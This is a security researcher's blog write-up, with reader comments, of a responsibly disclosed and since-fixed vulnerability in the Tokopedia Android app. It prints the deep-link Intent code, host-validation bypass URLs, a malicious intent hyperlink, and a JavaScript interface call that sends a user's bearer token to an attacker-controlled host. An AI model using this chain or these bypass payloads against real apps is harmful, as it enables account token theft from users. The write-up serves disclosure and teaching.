TL;DR
Scenario
Entry Point
Typically in any Android app assessment, the first thing to look at is the app manifest (AndroidManifest.xml). In the manifest, I saw the following exported Activity:
<!-- ... -->
<activity ... android:exported="true" ...
android:name="com.tokopedia.navigation.presentation.activity.NewMainParentActivity"
... >
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data
android:scheme="tokopedia-android-internal"
android:host="home"
android:path="navigation"
/>
</intent-filter>
<!-- ... -->
Let's break this down. The app exports the NewMainParentActivity class; this means the component can be triggered by code outside of the app. The Intent filter indicates that the Activity can be launched by an Intent with the android.intent.action.VIEW action that contains a URI of the following format:
tokopedia-android-internal://home/navigation
This can be triggered from an Activity in another Android app like so:
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("tokopedia-android-internal://home/navigation"));
startActivity(intent);
However, there's a much easier way to trigger an Intent that meets the filter criteria: clicking a hyperlink (e.g., in a web browser). For example, the following HTML code creates a hyperlink that triggers the Activity when clicked in Chrome web browser:
<a href="tokopedia-android-internal://home/navigation">Click me!</a>
This was an entry point into the app, but exported components are standard behavior for an Android app and not necessarily indicative of a vulnerability. Next I had to investigate the behavior of the NewMainParentActivity class.
App Navigation
Tracing a code path from onNewIntent, I found that the app parses an Intent extra:
// ...
String applink = intent.getStringExtra("EXTRA_APPLINK");
// ...
com.tokopedia.applink.o.x(this, applink, new String[0]);
The EXTRA_APPLINK value is a second tokopedia-android-internal:// URL that is ingested by a custom navigation mechanism to determine which feature of the app to navigate to. The code paths are a bit too convoluted to show in this blog post, but I did some preliminary analysis and found over 400 different "app link" URLs to trigger different mechanisms within the app.
After spending some time testing different "app links" that looked interesting, I encountered this one:
tokopedia-android-internal://user/webview-kyc
Using Frida instrumentation, I discovered that this URL triggers another Activity, com.tokopedia.kyc_centralized.ui.gotoKyc.webview.WebviewWithGotoKycActivity, which is not exported in the app manifest. While such behavior still isn't uncommon (nor is it necessarily indicative of a vulnerability), things often start to get interesting when you're accessing non-exported components.
When I tried to investigate the WebviewWithGotoKycActivity class, I couldn't find it anywhere in the APK decompilation output. This might be a result of code obfuscation, or it could be related to a custom runtime code-patching mechanism that the app uses (while unrelated to this post, the code-patching mechanism is very interesting - it injects a shim into almost every function in the app, and checks if there's a patch available at run-time). I didn't spend time trying to figure out why the class was missing from the decompilation output. Instead, I used frida-dexdump to dump all the app code from memory at run-time, then used grep to determine which DEX file contained the class, and then decompiled that file for analysis.
WebviewWithGotoKycActivity inherits from com.tokopedia.webview.BaseSimpleWebViewActivity, which contains a custom Fragment with a custom WebView (com.tokopedia.webview.TkpdWebView). Custom WebViews often expose sensitive functionality, so this seemed like a good target for exploitation if I could load a malicious website into TkpdWebView. To load a URL into TkpdWebView, the target URL is specified in the url query parameter of the Intent URL that triggered WebviewWithGotoKycActivity (we'll use https://example.com as a placeholder for now):
tokopedia-android-internal://user/webview-kyc?url=https://example.com
I don't blame anyone if they're confused at this point, because there are essentially three nested URLs required to access TkpdWebView. For this reason, I think it might be helpful to summarize the navigation flow thus far:
- tokopedia-android-internal://home/navigation: Contained in an Intent that was triggered by another app or from clicking on a link; this opens NewMainParentActivity.
- tokopedia-android-internal://user/webview-kyc?url=${URL3}: Stored in the EXTRA_APPLINK extra of the Intent; this is parsed by NewMainParentActivity to open WebviewWithGotoKycActivity.
- https://example.com: Contained in the url parameter of the second URL; this is loaded by TkpdWebView.
Expanding on our previous example, the following code snippet will trigger the custom WebView from another app:
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("tokopedia-android-internal://home/navigation"));
intent.putExtra("EXTRA_APPLINK", "tokopedia-android-internal://user/webview-kyc?url=https://example.com");
startActivity(intent);
Unfortunately, this wasn't the whole story (it rarely ever is). When I loaded https://tokopedia.com/robots.txt into TkpdWebView, it behaved as expected:
However, when I tried to load https://example.com into the WebView, it opened the URL in the default browser app (Chrome) instead. This indicated that the app was performing URL validation before loading the URL into the custom WebView.
URL Validation
public final boolean is_tokopedia_url(String url) {
// ...
String host = this.get_host(url);
return x.ends_with(host, ".tokopedia.com", false, 2, null) || kotlin.jvm.internal.s.equals(host, "tokopedia.com");
}
public final String get_host(String url) {
// ...
String host = Uri.parse(url).getHost();
if(host != null) {
if(x.starts_with(host, "www.", false, 2, null)) {
host = host.substring(4);
// ...
return host;
}
return host;
}
return "";
}
In the interest of performance, this class performs little to no validation. Behavior is undefined for invalid input. This class is very forgiving -- in the face of invalid input, it will return garbage rather than throw an exception unless otherwise specified.
attacker.com?://victim.com/
http://attacker.com/?://victim.com/
example.com?://tokopedia.com/
public final String get_url(Bundle args) {
// ...
String url = ke4.b.url_decode(args.getString("url", "https://www.tokopedia.com/"));
return url.startsWith("http") ? url : "https://www.tokopedia.com/";
}
http.com?://tokopedia.com/
HTTP Strict Transport Security
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
HTTPSRedirector
https://httpsredirector.com/?u=https://example.com
https://httpsredirector.com/#u=https://example.com
httpsredirector.com?://tokopedia.com/&u=https://example.com
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("tokopedia-android-internal://home/navigation"));
intent.putExtra("EXTRA_APPLINK", "tokopedia-android-internal://user/webview-kyc?url=httpsredirector.com%3f%3a%2f%2ftokopedia.com%2f%26u%3dhttps%253a%252f%252fexample.com");
startActivity(intent);
As I previously mentioned, the behavior can also be triggered by clicking a hyperlink. The following HTML snippet shows what this would look like (and it's not pretty):
<a href="intent:tokopedia-android-internal://home/navigation#Intent;action=com.tokopedia.internal.VIEW;S.EXTRA_APPLINK=tokopedia-android-internal://user/webview-kyc?url%3dhttpsredirector.com%253f%253a%252f%252ftokopedia.com%2523u%253dhttps%253a%252f%252fexample.com;end">Exploit Tokopedia</a>
Anyway, after much effort, I was able to load an arbitrary website into TkpdWebView:
Authentication Token Disclosure
getOneKycUserDetails(baseUrl, arg2, arg3)
OneKycAndroidInterface.getOneKycUserDetails('https://attacker.com', 'arg2', 'arg3');
GET /onekyc/v1/users/address-details HTTP/1.1
x-onekyc-token: arg2
x-onekyc-partner: arg3
tracestate: [redacted]
traceparent: [redacted]
newrelic: [redacted]
x-project-id:
X-Tkpd-App-Name: com.tokopedia.tkpd
X-Device: android-3.270.0
Accounts-Authorization: Bearer [redacted]
X-Datavisor: [redacted]
x-user-locale: id_ID
x-onekyc-sdk-version: 2.4.9
x-onekyc-sdk-platform: Android
x-onekyc-sdk-host-version: 3.270.0
x-onekyc-sdk-host: TOKOPEDIA_CUSTOMER
x-onekyc-sdk-host-appId: com.tokopedia.tkpd
Host: [redacted].oastify.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/4.10.0
X-NewRelic-ID: [redacted]
Exploitation Flow
- The Tokopedia app automatically opens the link with NewMainParentActivity.
- The EXTRA_APPLINK value is extracted from the Intent and parsed, triggering WebviewWithGotoKycActivity.
- The url parameter is parsed and validated. If the URL passes all validation checks, it is loaded into TkpdWebView.
- The malicious website uses client-side JavaScript to execute OneKycAndroidInterface.getOneKycUserDetails with an attacker-controlled URL in the first argument.
- The app makes an HTTP request to the attacker-controlled host with the victim's Tokopedia authentication token in the Accounts-Authorization header.
Disclosure Timeline
The full disclosure timeline is as follows:
- 2024-06-14: Final discovery in the vulnerability chain and first contact with ByteDance security team
- 2024-06-17: Sent the initial disclosure/write-up to ByteDance via email (security@bytedance.com).
- 2024-06-20 - 2024-07-03: Various email correspondence regarding reproduction, impact, public disclosure, etc.
- 2024-07-19: Version 3.273.0 / 320327301 of the Tokopedia Android app was released, fixing the vulnerability.
- 2024-07-19: I reported the vulnerability to the (now-defunct) Google Play Security Rewards Program (GPSRP) and received a $500 bounty.
Really great write up. Did you see the injected JS in the web view first, and that give you the motivation for breaking the URL validation?
ReplyDeleteTo find that JS was injected into the web view, did you audit source code or could you also see the script in the response in Burp? I'd never heard of web views having the option to inject a JS interface.
Great questions! Generally if an app has a custom WebView, there's a reason for it. They might register custom callback functions for various browser behaviors (redirects, download handling, TLS stuff, etc.), or add/change the standard HTTP request headers that get sent while browsing, or (as in this case) register custom JavaScript. In general, all these behaviors are inherently interesting from a security perspective, so I'm always happy to find a custom WebView (because there's a lot of potential for something to go wrong).
DeleteIt's easy to search the decompilation output for these WebView customizations too. For example, you can search the for "addJavascriptInterface" to find custom JS interfaces. Of course, if you find one, you still have to determine if there's a code path to get a malicious URL into the WebView... not always easy or possible.
I'm really impressed by the write-up and the clever bypass—well played! I do have a question about the exploit, though. From what I understand, did you create an HTML file, host it on your page, and then use window.location to load the javascriptinterface with OneKycAndroidInterface.getOneKycUserDetails, inserting your link into it? Is that correct?I'm really impressed by the write-up and the clever bypass—well played! I do have a question about the exploit, though. From what I understand, did you create an HTML file, host it on your page, and then use window.location to load the javascriptinterface with OneKycAndroidInterface.getOneKycUserDetails, inserting your burp link into it? Is that correct?
ReplyDeleteand the bypass point
httpsredirector.com?://tokopedia.com/&u=https://example.com
is gethost() function in android check the part2 `tokopedia` in all cases ? and what remediation for it best practice validation